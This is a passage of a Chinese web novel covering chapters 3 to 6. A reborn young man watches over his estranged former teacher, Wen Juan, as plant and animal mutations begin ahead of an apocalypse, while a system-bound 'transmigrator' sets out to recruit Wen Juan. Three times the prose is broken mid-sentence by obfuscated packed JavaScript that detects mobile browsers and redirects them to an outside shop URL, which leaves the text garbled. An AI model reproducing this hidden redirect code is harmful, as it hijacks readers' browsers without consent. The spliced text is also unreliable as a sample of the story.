温倦离开陆家的时候,陆亦哉也不过才十三岁,那时还没开始猛蹿个儿,跟温倦站在一起还显得稚嫩,更别说身高体型,和现在根本不像同一个人。 所以…… 陆亦哉是什么时候长大的? 应该说,这家伙什么时候长得这——么——大的??? 温倦被高大的陆亦哉抱在怀里,被衬得小小一只,仿佛他才是一只发育不良的幼崽……倒反天罡。 他迷迷糊糊地靠在陆亦哉的胸口,脑子里胡思乱想,身体却不知不觉间已经放松了下来。 陆亦哉一开始并没有将他放进被窝,他在给温倦穿衣服。温倦猜测,陆亦哉可能是想带他去医院。 温倦蜷了蜷手指,没什么力气地拽陆亦哉的衣服,试着开口说话:他不想去医院,他只想睡觉。 也不知道最后有没有发出声音来,但好在,陆亦哉应该是领悟到他的意思了。 “我们不去医院。”陆亦哉的声音很轻,语气柔软得像是在哄小孩,“先给你吹头发,吹干了再睡觉,好不好?” 温倦怀疑陆亦哉在模仿很多年前的他,以前他就是这么哄小屁孩儿睡觉的。 他不想说话。当然,也说不出话来,现在他只能发出哼哼唧唧的呓语。 于是发气似的用头撞了陆亦哉一下。 由于身体软绵绵的,温倦一点力道都没有,额头撞在陆亦哉肩膀上的行为,在陆亦哉看来,就是他累极了,困晕了,倒在了自己怀里。 陆亦哉坐在床边,让温倦坐在他腿上,扶着温倦的上半身,手掌托着温倦的背轻轻抚下:“睡吧,我守着你。” “谁要……”温倦用最后的力气说道,“……你守。” 但声音太小了,陆亦哉没听清楚。 陆亦哉将耳朵贴在温倦唇边,虚心求教:“嗯?” 算了。 温倦太困了,他决定明天醒来再教训陆亦哉。 吹风机的声音适时响起,在近乎吵闹的声音中,温倦竟然感到前所未有的宁静,就这样睡了过去。 温倦这几年消瘦得厉害。 陆亦哉将他抱在怀里的时候都不敢太用力,怕弄疼了温倦。 十几岁的温倦完全不是这样的。 在长身体的那几年,陆朝之疯狂给两个孩子加餐,陆亦哉每天都能看到温倦大口吃肉大碗吃饭的样子。那时候,温倦每天都锻炼,长高的同时,还练出了一层漂亮的薄肌,身材匀称健康,在同龄人中鹤立鸡群。 现在的温倦,真的太瘦弱了,绝不是健康的样子。 陆亦哉很想问温倦,为什么不肯好好照顾自己。但他没有资格。 吹干头发后,陆亦哉没有立刻将人放开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854386|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他抱着温倦,一寸一寸地抚摸着25岁的温倦的身体,不带半分旖旎遐思,他抚摸得很认真,似乎只是为了确认,或是记住。 人们无法确定在某个人生阶段的抉择是对是错。 陆亦哉也只有重来一世,才意识到,他上辈子蠢得有些可恨。 从十八岁到二十五岁,这七年当中,温倦做了什么?温倦是怎样过来的?温倦有着什么样的生活?温倦每天在想什么? 他统统不知道。 陆亦哉对这一年的温倦是多么陌生。 他上辈子的这段时间,大概还沉浸在和温倦的冷战中。 持续七年之久的,单方面的冷战。 他曾一边幻想着温倦有一天主动来向他道歉,跟他和好,一边装模作样地找机会和温倦制造各种偶遇的机会,但又在每次偶遇的时候对温倦冷眼相待。 年轻的陆亦哉也真是蠢得很执着。 他从13岁到20岁,都没有放弃过要和温倦“和好”。 连陆朝之都已经明白温倦的意思,温倦很明显是要和陆家划清界限,不可能再有别的转圜。 但陆亦哉不管这些,他就是坚信,温倦迟早有一天会回来。一天是一家人,那一辈子就是一家人,他们应该要在一起。 但至于如何让温倦回心转意,他却不懂。 一直到末日来临。 那其实是陆亦哉唯一一次机会,可以和温倦永远在一起。只是他仍然因为无知和蠢笨错过了。 全球生物变异来得很突然,在所有人都没有准备好的时候。 陆亦哉一夜之间失去了很多,包括他的家人。 当他醒来的时候,家已经不复存在,幸存者们在军部的带领下撤离到较为安全的地方重建家园。陆亦哉所在的城市已是一片无人废土。 他的身边只有温倦。 温倦把他从濒死的高热中救回,告诉他外面发生了什么,又告诉他觉醒异能意味着什么。 “基地的异能者,和基数庞大的幸存者比起来,非常稀少。如果你能去到基地,他们会很欢迎。” “那你呢?” “我留在这里。” “我也要留在这里。” “这里生活不便利,资源不够,变异种数量太多,已经不适合人类生存。” “那你……为什么要留下?” 如果当时什么都不问,只是执着地陪着温倦留下就好了。 温倦死后,陆亦哉总在这样想。 温倦在末日里的任何一处废墟都能活得很好,可他后来还是走出了自己的安全范围。 他们一起去了人类基地,那是一切不可挽回的开始。 …… 怀里的人对未来一无所知,睡得安静香甜。 陆亦哉的抚摸自后颈向下,慢慢绕过手臂,最后牵起温倦的手。 他的目光在触及到温倦指腹的伤口时,蓦的一怔。 “老师,你把血给了谁?” 陆亦哉轻声问,但这个音量几乎不会被温倦听见。 他不需要答案。 现在距离末世还有半年时间,而温倦的血,只对觉醒过异能的人才起作用。 这个伤口看起来是用某种锋利的刃口划伤的,也许是水果刀,也许是实验室里的某种器具。总之,应该与异能者无关。 陆亦哉的问法是有失偏颇的。 他因为记忆中一些令人不爽的事情,从而迁怒了这道无辜的伤口。 听着怀中人均匀缓慢的呼吸,陆亦哉收敛了眼中的杀意,又恢复了温柔的笑:“是我想多了,对不起。” 他与温倦十指相扣,将温倦的手放到唇边轻轻亲吻:“这次要把秘密藏好,知道吗?” - 4. 第 4 章 温倦的生物钟在六点准时唤醒他。 睁眼,坐起身,掀开被子。 整个过程干脆利落,用时不超过一分钟,他对他的被窝毫不留恋,就这样顺利起床。 温倦是一个世俗意义上非常自律的人,做事有规划,擅长自我节制,没有拖延症,不对任何东西上瘾。 当然,这只是别人眼中的温倦。 事实上,他并不觉得自己有多自律。 “做事有规划”是因为他总在按部就班地过日子,没有挑战和冒险的打算,永远在重复过往。 “没有拖延症”是因为要做的事情对他而言没有任何难度,就像人渴了就会随手拿起杯子喝水一样自然而然,温倦对待所有工作,都是这样随手且自然地就做了。 而所谓“自我节制”,更是无稽之谈。温倦低物欲低需求,没有任何喜好偏爱,也没有必须要得到的东西,他从没放任过自己的欲望,当然就谈不上节制。 温倦揉了揉眼睛,踩着拖鞋去洗漱。 人睡饱以后很感到浑身舒服,但同时,脑子在这种过度放松的情况下就容易犯懒。 温倦隐约觉得自己好像忘记了什么事,但他懒得思考。 他刷完牙,洗完脸,走出来打开了电视,依循惯例开始收听早间新闻。 看了一眼时间,差不多该去实验室了。 直到温倦换好了衣服,他才终于想起来自己忘了什么—— 哦,我已经辞职了。 温倦有些迷茫地站在衣柜前,发呆了将近两分钟。 现在正是七月,大学也在放假。于是,向来忙碌的温倦变得无事可做了。 这是种很新奇的体验。 新奇到几乎让他措手不及。 不上班,那还能干什么? 温倦试着想象别人不上班的时候都会做什么。无非是呼朋唤友出去吃喝玩乐,或者跟家人待在一起无所事事但又热闹地看看电视聊聊天。 但不巧,他既没朋友也没家人。 温倦最终还是决定待在家里。 温倦重新换上居家服,窝在沙发上准备看一会儿书,这时候才终于发现自己眼前模模糊糊的。他没戴眼镜。 平时眼镜都是放在枕头边的,起床的时候,很顺手就拿出来戴上了。今天缺少了这个步骤,温倦竟然现在才反应过来。 他起身,在房间里转了一圈,最后在书桌上找到了眼镜——它已经被清洗过,镜片呈现出一种崭新透亮的光泽,端端正正地摆放在镜盒里。 有鬼。 温倦心想,家里来了个会洗眼镜的鬼。 这一瞬间,关于昨天的全部记忆才统统回笼。 他终于想起自己从还鳞山回来,在家门口遇到了陆亦哉。已经很多年不和他说话的陆亦哉,忽然一反常态地变得热情起来,还跟着他进了屋子…… 但现在陆亦哉不在这里,应该是昨晚走的吧。 温倦提了一口气,憋了好几秒才吐出来。 “走了就好。”温倦抱着书重新窝回沙发,打开书的扉页时,他有点心不在焉地再次喃喃,“下回不让他进来。” 门锁就在这时发出咔哒一声。 有人从外面拧动钥匙,打开了温倦的家门。 温倦翻书的手一顿。 “老师,你怎么这么早就醒了?” 陆亦哉手上拎了一堆东西,把钥匙放回到玄关的架子上,很匆忙地蹬掉鞋子,小跑着进来。 “我买了好多早餐,你看看想吃哪个?” 他跪坐在温倦边上,献宝似的把他买的东西一样一样摆到茶几上,“豆浆油条包子蒸饺牛肉饼糯米鸡芋泥蛋糕坚果饼干火腿三明治熔岩巧克力芝士——” “停。”温倦坐起身来,看着已经被摆满了的茶几,表情复杂,“你上我这儿开店来了?” 陆亦哉邀功一般笑得灿烂:“我不知道你平时早饭都吃什么,只好把能买的都买了。这里面有没有你想吃的?” 温倦冷酷地告诉他:“我不吃早饭。” “那怎么可以?”陆亦哉蹙着眉,“你起得早,不吃东西怎么能行,这样很容易胃疼。怪不得你现在这么瘦,你是不是都没有好好吃饭?” 温倦没说话,表情淡淡看着他。 陆亦哉苦口婆心地劝说:“喝碗粥吧,不会很撑,热热的喝下去胃也舒服。” 温倦没有应答,只是放松了身子斜倚在沙发扶手边,撑着下巴看他:“你现在是在和我装熟吗,陆亦哉。” “啊?”陆亦哉不解地看着他,“老师说什么?” “我以为很早以前我们就达成了共识。”温倦刻意将语速放慢,一字一顿地提醒他,“从我搬出陆家那一天起,我们就没有关系了。” 陆亦哉眨了眨眼,抿出一个乖巧的笑来:“怎么没有关系,你是我的老师啊。” 温倦眉心微微一拧:“你听不懂人话?” 陆亦哉:“我听懂了啊。老师,你的每一节课我都去了,从没迟到早退旷课,虽然你不点名,但是你记性好,一定也知道我是全勤吧?” “我是在提醒你——唔?” 温倦想把话点明,告诉陆亦哉以后不要再来找他,最好不要再联系。 可是这话还没说完,嘴里忽然被塞了一口蛋糕。 温倦吐也不是,吞也不是。他只能恶狠狠看着陆亦哉,然后嚼嚼嚼。 陆亦哉期待地看着他:“好吃吗老师?” “不。好。吃。”温倦瞪他一眼。 “那就换一个。”陆亦哉夹起一枚蒸饺,“试试这个?” “我说了不吃。”温倦在发火的边缘,随时准备痛揍陆亦哉一顿,“把你买的东西收起来,滚出我家。” 他设想陆亦哉会不会继续厚着脸皮劝他吃早饭,他已经在脑子里组织好了许多刻薄冰冷的话来应对。 然而陆亦哉却只是放下筷子,坐在地板上,肩膀耷拉着,说:“知道了老师。” 温倦总觉得事情没有那么简单。 果不其然,下一秒陆亦哉就瘪着嘴,用一副可怜兮兮的模样看向他,说:“老师,你知道我爸现在在哪里吗?” “……”温倦失语。 陆亦哉又说:“我已经很久没有和他联系上了,我昨天打电话去院里问了一下,结果他们前言不搭后语的,最后告诉我说他还在出差,让我不要担心,但是以前他出差都会接我电话,这次连手机都关机了……是不是,他出事了,你们怕我难过故意瞒着我?” “没有,你想多了。” 温倦不知不觉地坐直了身子。 他其实不太擅长骗小孩,只能板着脸,故作不耐烦道,“院长在忙联盟的事,涉及保密项目,肯定不能告诉你太多。既然院里都说了没事,你老实在家等着就行。” 陆亦哉满脸写着怀疑:“真的吗?老师,你不要像他们一样,也把我当小孩。” “你本来就是小孩。” 温倦一想到陆亦哉之前每次面对他时,都会表现出一副幼稚赌气的模样,就很难把他当成大人。 陆亦哉看着温倦:“我二十岁了。” “是吗,那确实看不出来。”温倦冷冷一笑,“我以为你还在青春期。” 陆亦哉:“唉,不知道我爸……” “给我夹个蒸饺。”温倦很突然地用脚踢了踢他的膝盖,颐指气使地打断了他的话头。 “哦。”陆亦哉老老实实捧着蒸饺,给他喂了一颗。然后又说,“老师,你这段时间有没有见过——” “我要喝粥。” 温倦再度打断陆亦哉。 陆亦哉点点头,把饺子放下,将粥端起来,舀了一勺子,吹了吹,喂给他。 温倦古怪地看着他:“你就不能直接拿给我?” 陆亦哉好似没懂:“我喂你不是更方便吗?” 温倦:“我不觉得哪里方——” “我想起来了,我爸走之前,好像跟我说他要去什么山里,那个山好像叫……”陆亦哉思索着那个山的名字。 “不是要喂我粥吗,快喂。”温倦瞥视陆亦哉,“食不言寝不语,从现在开始,你闭上嘴。” 好学生听话地住了嘴,安心伺候坏脾气的老师吃完这顿早餐。 没有再听到陆亦哉问起院长的事,温倦松了一口气。 其实温倦大可以不必这样草木皆兵,他只需要说自己什么都不知道就行了。他在科学院的地位不上不下,本来就不该知道这些机密。更不可能知道院长现在是死是活。 陆亦哉不管问他什么,他都可以理直气壮地回一句“我不知道”“你去问别人”。 可是他说不出来。 陆亦哉虽然母亲走得早,但他从小到大就被身边所有人保护得很好,是一个完全在爱里长大的小孩。 陆朝之工作一直很忙,但陆亦哉小时候不缺人照顾,陆亦哉的爷爷奶奶外公外婆一大家子都住在陆家的宅子里。 在温倦住进陆家以前,陆亦哉的生活就是今天被这个溺爱,明天又被那个宠坏,俨然是要星星不给月亮的小皇帝待遇。 每个人都把陆亦哉当做掌心宝似的呵护着,以至于陆亦哉小时候一直以为世界是围着他转的。 陆朝之虽然有想过改变一下孩子的成长环境,以免他被惯坏,奈何他一个人一张嘴,实在说不动四位老人。 后来温倦来到陆家,才稍微改变了一点局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854387|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 温倦身世可怜,那时又生着病,老人家们就分了大半的注意力在温倦身上。 但温倦寄人篱下,不敢真的享受这种无微不至的爱护,所以他投桃报李。 陆家人对他多好,他就对陆亦哉多好。 以至于后来陆亦哉对他的依赖已经远远超过了陆家其他人。 在溺爱陆亦哉这件事情上,过去的温倦比起那四位老人,可以说是有过之而无不及。 陆亦哉成长过程中,吃过最大的苦头,就是十三岁那年惨遭温倦的抛弃。 除此之外,他没有什么烦恼。 也正是因为如此,温倦和所有人一样,都不敢告诉陆亦哉真相。 他们知道陆亦哉承受不了。 七年前的温倦只是搬出陆家,都能让陆亦哉痛苦那么多年。 要是现在,陆亦哉知道陆朝之失联了,他还不得崩溃? 只是温倦也不免担心起来。 他明明已经把院长救出来了,怎么现在过去一天一夜,院长还没有消息?是伤得很重吗? 温倦回想了一下那天看到的画面,他清楚记得院长没受什么伤,反而是旁边那个军人模样的男人血肉模糊…… 或许院长受了内伤? 在他发呆的时候,陆亦哉喂完了最后一勺粥,抽了一张纸给温倦擦了擦嘴角。 温倦下意识打开了陆亦哉的手,啪的一声,力道不轻。 打完以后他自己却吓到了,愣愣地看着陆亦哉,有点担心打痛了陆亦哉。 陆亦哉却笑眯眯地对他说:“老师反应好快啊。” 温倦:“……” 行吧,就硬夸。 陆亦哉傻乐一阵,说:“老师,今天不去上班吗?我听我爸说,你总是不到七点就已经出现在实验室了。” 温倦:“他居然在背后说我闲话?” “不是不是。”陆亦哉赶紧为父亲正名,“他只是每次都拿你来刺激我。我一睡懒觉他就说,‘你哥就不睡懒觉’。我要是玩游戏,他也说,‘你哥就不玩游戏’。他知道什么啊,以前他不在家的时候,咱俩还不是玩游戏玩到半夜。哼,我才不告诉他这些。” “……”温倦听得莫名有些不自在。 他好像已经想不起来,自己在陆家究竟过着什么样的生活了。 看他沉默,陆亦哉也没有感到扫兴,仍旧笑得一脸天真灿烂,说:“我今天跟老师一起去科学院好不好?” 温倦面无表情地说:“我已经辞职了。” 陆亦哉眼中闪过一抹的惊讶。 但转瞬即逝,温倦没有注意到。 很快,他重新换了另一种惊讶的表情——这次很浮于表面,他瞪大双眼,目光充满好奇。 他问温倦:“老师为什么要辞职?” “与你无关。”温倦看也没看他,从沙发上起身,说了句,“你没什么事就走吧,别打扰我难得的假期。” 陆亦哉看着他的背影,敛了眼中浮夸的神情,不轻不重地应了句:“好吧老师,那你好好休息。” 他礼貌道别,拎着没吃完的早餐,安静地离开了温倦的家。 关上门的瞬间,陆亦哉仿佛看到了屋子里,温倦停下脚步的身影。 也许温倦也有些意外,陆亦哉这次竟然这么听话,说走就走。 这是计划之外的决定。 原本陆亦哉是打算留在温倦身边的,但他现在不得不面对一个现实: 他重生回来仅仅两天时间,却发现有很多事情都和上一世不一样了。 上一世,陆朝之没有去过还鳞山考察,没有失联一整个月。 上一世,温倦也没有辞职,他一直在科学院工作到末日那天。 比起在温倦面前扮演蠢货赖着不走,他现在更需要确定,事情还在掌握中。 - “真是失策,这次没找到还鳞山的进化源,反而引起了联盟的注意,看来以后行事得小心点咯,书里的NPC也不都是笨蛋嘛。” 街边停着一辆明黄色的超跑,十分高调地惹路人侧目。 坐在驾驶座上的男人戴着墨镜帽子,一副努力伪装却又恨不得告诉所有人“我在伪装自己”的模样。 有人看过来,他大方地同别人挥挥手,打招呼。 路人露出尴尬的表情,纷纷离开。 “低调?我人设是顶流明星诶,为什么要低调?你别操心这个了,我做事你放心,不会OOC的。” 他仿佛自言自语般说着,“温倦家就在这儿是吧?” “你再把和他有关的剧情发给我看看,我要好好剖析一下他的性格,制定一份详细的攻略计划。” - 5. 第 5 章 温倦也不知道自己在原地站了多久。 从陆亦哉关上门离开的那一刻起,他的视线就仿佛被冻住了似的,一直钉在玄关处。 他常常这样,也不是在看什么,或者等什么,多数时候都是无意识地发呆。短则数秒,长则很难估计。 忙起来的时候精神高度集中,温倦不容易出神。 但有时候无事可做,他的大脑就这样偷偷给自己放假,间歇性的放空。 等他反应过来的时候,距离陆亦哉离开,已经过了快一刻钟。 家里再次剩下他一个人,回到了往日的安静空荡。 接下来的一个小时里,温倦很难再把注意力集中在书上。他总时不时用余光看向玄关,怀疑等下会有人再次拧开钥匙闯进来,又或者听见陆亦哉在门外吵闹地敲门。 但并没有人再来叨扰温倦。 无效翻了两页书后,温倦摸出了手机。他平时除了查找资料和看新闻,很少会长时间上网。但手机是一个很好的消遣,它让人足不出户就可以眼观六路耳听八方。 他先搜索了“还鳞山”,但出来的网页基本都是地图信息,地理环境介绍,没有提到任何与考察队相关的信息。 温倦的指尖在手机屏幕上顿了顿,虽然明知道可能搜不出来,但最终还是忍不住尝试了一下,不带希望地在搜索框输入了“生物变异”的字样。 与之相关的信息非常多。其中绝大部分是一些影视作品的设定分析和小说脑洞分享,还有很小一部分是来源未知的文献资料。 温倦扫了一圈,目光忽然一怔。他从繁杂的网页搜索结果中,找到了一些近期的网友发的帖子。 点进去后自动跳转到了某主流社交媒体平台的界面,下面是一些实时讨论—— 【炫耀一下,家里的盆栽不知怎么了,最近长势过于良好,撑爆了三个花盆,我爸妈现在怀疑我有种植天赋,直接给盆栽整变异了哈哈哈】 【在线求助!朋友送的猪鼻蛇,上周还盘在手上玩呢,这两天孩子突然长大了,已经比我手臂还粗了!请帮我看看这是不是买错品种了啊啊啊啊!好好的小蛇怎么变异了!】 【万能的网友们,考验大家的时候到了。我网恋对象拍了一张特别诡异的章鱼照片给我,非说这是风岛的变异海怪。我无语了都,一看就是ai鬼图,谁家正经章鱼满脑袋都是眼睛,看着怪恶心的。他死犟,让我发帖给大家鉴定是不是ai生成。照片如下「图片审核未通过」】 温倦正想点进一条帖子里询问楼主详情,就发现该贴已经被删除。 温倦重新刷新了一下,忽然看到一条自带定位的最新发帖—— [定位:来自联盟大学] 【今天起了个大早来图书馆自习,到地儿吓了一跳。整栋楼都快被爬山虎给盖住了。学校请了人来清理,弄了一两个小时也只清理出门口的位置。最终临时通知我们今天图书馆闭馆,悲催了[大哭.jpg]】 这条帖子下面很快有了不少校友回复: 【人在现场,不得不说真的很震惊。】 【奇怪,我前天也去图书馆了,当时还没这么夸张吧?】 【是的是的!最近也不知道怎么了,学校里的爬山虎长得特别快,而且叶片贼大,吸盘贼紧,跟变异了似的「笑哭jpg」】 【不止爬山虎,你们有没有发现中心湖的那一排树好像长高了?】 温倦眯着眼刷新底下的评论,似有所思地摩挲自己指腹的伤口,不知在想什么。 - 联盟大学在放假期间也会对外开放预约,向来不会冷清。 温倦作为老师自然不用预约,刷了自己的证件就进去了。 刚走进校门没几步,就遇到了几个脸熟的学生。 她们手里还抱着书和平板,看样子是刚从图书馆那边铩羽而归,准备去校外自习。一看到温倦,就很热情地和他打招呼。 “温倦老师,好巧!” “你们好。”温倦的回应不冷不淡,附赠一个没什么感情的笑。 “您今天怎么来学校啦?是要去图书馆吗?我们刚才那边过来,今天闭馆了。也不知道怎么回事,学校的爬山虎疯了,好几栋楼都遭殃了,现在正在清理呢,到处都乱七八糟的。” “嗯。” “……那,那老师您先忙,我们走啦!” “好。” “老师拜拜!” “温老师再见——” 温倦点了点头,与她们擦肩而过。 他走得很快,因此没有听见几个姑娘在身后小声说话。 “啊啊啊他看起来好冷漠,是不是觉得我话很多不想搭理我啊?惨了惨了,我下学期还打算上他的课,希望不要被讨厌。” “不会啦,我觉得温老师人挺好的。” “没错,他只是看起来高冷,其实是个萌物来的。” “哈?” “……你好像对萌有什么误解,他比较像高岭之花吧,和萌不搭边。” “跟你们说不明白,此男的萌需要细品。好啦,快走,等下咖啡馆都没位置了!” 在她们之后,陆陆续续又有不少学生从学校里往外走。 与此同时,联盟大学官方社媒号发布了一则通知,宣布图书馆接下来一段的时间都需要闭馆整修,并且未来整个假期,学校都不再对外开放。如果有特殊情况要入校,需要向相关负责人提前打申请。 楚尽风与离校的学生们背道而驰,逆着人群走进了校门。 他没有预约,不是师生不是校友,但没有人拦他。 或者说,根本没有人注意他。 “这一招还挺好用的,可以从意识层面改变他人认知,从而达到‘隐身’的效果。” 楚尽风闲庭信步地走在大学校园里,优哉游哉地和脑子里的系统说话。 【持续时间只有10秒,且对同一个人只能生效一次。请宿主谨慎使用。】 “无所谓嘛,学校里的这些人,末日来的时候应该都会死掉吧?反正以后也不会有机会再见面了,把这个单次使用的技能用在他们身上也不算浪费。” 楚尽风看起来一点都不担心。 系统以沉默的电流音回应。 “也不知道这个温倦突然来学校里干什么。要是他在家乖乖待着,我也懒得跑这一趟。” 楚尽风自认为已经对温倦这个NPC的人设了如指掌,懒洋洋地打了个哈欠,显得漫不经心,“你知道他想干什么吗?” 系统说:【由于宿主上个月在还鳞山杀死大量变异生物,并将异种体内的能量核携带出了还鳞山,致使联盟监测到了异常能量波动,从而造成了剧情偏差。温倦作为书中人物,自然也受到了蝴蝶效应影响。他之后的行为,系统无法预测。】 “虽然我知道你是在跟我解释,但听起来总觉得你好像在抱怨我什么。” 【没有解释。】系统说,【纯抱怨。】 楚尽风微微一笑:“我当了无数个爽文世界的男主,无论什么天崩开局最后都能完成任务,成为世界观最强。你一个小小炮灰逆袭系统,绑定了我就偷着乐吧,还跟我抱怨上了。” 系统:【sorry】 “按照计划,现在我应该去收第一个小弟了。”楚尽风收了笑容,眼中的懒散忽然变成一种耐心告罄的阴冷,“定位温倦。” - 温倦仔细数过,学校里一共有五栋楼的爬山虎变异了。 他很确定是变异,因为他一靠近这些地锦,它们的茎叶就开始忍不住颤动。它们渴望得到能量。 和还鳞山那些已经变异完全的藤蔓不同,这些地锦应该是刚刚开始变异,现阶段除了快速长大,暂时没有其他的异常。 温倦不动声色地用手拂过这些哗哗作响的叶片。 “也没起风啊,怎么晃来晃去的。”正在清理爬山虎的工人感到不解。 他站在梯子上,余光瞧见了温倦,赶紧喊了一声: “喂!同学!你小心些,别拿手去碰这些叶子,它们现在可奇怪了,叶子上长了好多倒刺,特别尖锐,刚才我都不小心被划伤了——哎哟!你瞧瞧,你手出血了!“ 温倦年轻,长相又显小,经常被认成学生。他没有解释,只是抬头对那大叔说:“您也小心。” 说完,他便转身离开,似乎并不为自己手上新添的伤感到不适。 工人觉得这学生有点怪,但又说不上来哪里怪。 挠了挠头,他继续修剪这些坚硬又巨大的爬山虎。 “咦?” 他忽然惊讶地发现,之前一直剪不动的藤条好像突然变软了,轻轻一划就断了。 接下来的好几处,也都变的很好修剪。 他松了一口气:“看来今天能早点完工。” … 温倦很快就将五栋楼的爬山虎都安抚好了。 他给了它们一点微不足道的血液,它们就变得听话了许多。 做完这一切,温倦的手已经被密密麻麻的细小倒刺留下的许多血痕,还好倒刺扎得不深,只是破了点皮,不痛。 他去厕所洗手池清洗。 对于学校里有植物变异这件事,温倦其实并不感到惊讶。 因为在一个月前的某天,差不多就是院长出差后不久,温倦就已经发现,自己的实验样本出现了不同程度的异变。 那种异变是很细微的,如果不是温倦一直留心着这方面的变化,可能也不会发现。 他的样本,无论是植株还是动物,都好像一夜之间变得躁动不安。一只小鼠还在24小时内突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854388|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长大了一倍。 当时温倦并不知道具体发生了什么,他的第一反应,是怀疑实验样本受到了他的影响,他担心自己继续待在科学院,其他人的实验样本也会出问题。于是他打算辞职。 只是院长那段时间恰巧出差,温倦一直拖着,想等院长回来,再和院长说明情况。 然而温倦等了一个月,才得知院长去了还鳞山考察,而考察的主要目的,是生物变异情况。 那时候,温倦隐隐意识到了不对劲。 温倦并不否认,他一直在担心某些还未发生的事情。 无论实验样本的异常究竟是因为他,还是因为别的东西,总之,温倦立刻辞职了。 现在看到联盟大学里这几栋楼的爬山虎,温倦更可以确定了。 这世界好像有什么事情在失控。 冲洗掉手上细小伤口留下的血渍后,温倦关掉了水龙头。 就在他转身要走的时候,才发现身后有个人,倚在两步之遥的门边,抱着手臂,好整以暇地看着他,不知看了多久。 那人眼中还有没来得及收敛的兴味,似乎对正在观察的这个对象产生了极大的兴趣。 温倦蹙眉,错身要走。 “这位同学。”楚尽风伸手拦了一下,他取下墨镜,用一双天生的蓝眼睛看着温倦,说,“可以请你帮个忙吗?我迷路了,不知道怎么走出学校,你能不能带我出去?” 温倦默了片刻,摸出手机。 楚尽风扬眉,忽然笑了一声,也摸出了自己的手机,说:“我平时不太喜欢加别人好友,不过如果是你——” 话还没说完,发现温倦又收起了手机。 楚尽风:“?” 温倦看也没看他,径直走了。 楚尽风:“他这是,无视我了吗?” 系统:【是的,宿主。】 楚尽风:“那他刚才拿手机出来干什么?” 系统:【如果没猜错的话,他在看时间。】 楚尽风:“……” 温倦往校门的方向走,那个男人一直跟着他,用一种似是而非的眼神看着他。 期间,对方时不时就会靠过来和温倦搭话。 一会儿问温倦姓甚名谁,是哪个系的学生,一会儿又问温倦认不认识他是谁。 温倦不回答,他就主动说:“我是楚尽风。” 温倦仍然没理。 楚尽风悲壮地自我介绍道:“我是明星诶,演过不少电影电视剧,同学,你真的完全不认识我吗?你这样让我感觉好挫败。” 他说想和温倦交个朋友。 温倦只是看了他一眼,有点无语地加快了脚步,一副想要远离他的样子。 其实温倦平时不至于这样,他虽然和人比较疏离,但基本礼貌是有的。 可是楚尽风的眼神让他感觉不舒服。 楚尽风的搭讪,不同于温倦过去遇到的那些搭讪。他不像是因为对温倦有好感所以来要联系方式的路人,更像是抱着游戏心态来逗弄温倦。 比起轻佻,更多的是玩味,那种自上而下的打量,带着一种让温倦很不爽的傲慢。 他看温倦的眼神,甚至不像在看一个人——硬要说的话,就像是在看某种观赏性的物件。 在楚尽风第三次提出,想要和温倦留个联系方式时,温倦终于停下脚步。 他站定,发现楚尽风比他高了半个头,略微不爽地往后退了半步,以一种接近平视的角度看着楚尽风,说: “你们娱乐圈是不是快完蛋了,以至于你一个通告都接不了,闲得没事到处找存在感是你翻红的秘诀?还是说跑到大学校园里来孔雀开屏,是一个过气男明星绞尽脑汁能想到的证明自己价值的唯一途径?” “……”楚尽风张了张嘴,自诩能言善辩的他,这一刻竟然被温倦劈头盖脸一顿说得毫无还击之力。 温倦没有给他机会他还嘴,撂下话径直就走了。 留下楚尽风在身后呆愣了许久。 “系统……你给我的资料是不是有问题?” 【宿主,所有资料都是小说原文,系统没有篡改剧情的能力。】 “那你告诉我,原文里那个‘温柔善良纯真勇敢善解人意体贴包容无所不能不计得失无私奉献’的温倦,和刚才那个用看垃圾一样的眼神看着我还把我骂了一顿的温倦,到底有什么关系?” 系统很认真地查阅了相关信息后,给出了答案:【温倦死于正文开始前,作者并未直接对他的性格进行正面描述,与温倦有关的所有剧情,都是从陆亦哉这个角色的回忆中展开的插叙。】 【也就是说,从陆亦哉的视角看,温倦就是温柔善良纯真勇敢善解人意体贴包容无所不能不计得失无私奉献。至于温倦在其他人眼中是什么形象,系统无法评估。】 6. 第 6 章 温倦的家离联盟大学并不远,走路不超过二十分钟,这通常是他一天当中唯一的运动量。 平时如果没有特别要紧的事,他都会慢慢散步回家。 但今天除了点小意外。 温倦刚走出学校没多久,就下起了雨。 这场雨来得很突然,一阵阵迎面而来的狂风彰显着今日的不同寻常。 黑沉沉的乌云几乎是眨眼间就压在了头顶,雨势没有从小到大的过程,从一开始就是瓢泼之势,街上所有人都感到惊讶,抬头看了一眼后,全都跑了起来,准备找地方躲雨。 对温倦来说,淋雨不算什么麻烦,他今天出来没带任何重要物品,即便身上湿着也不妨碍走路。 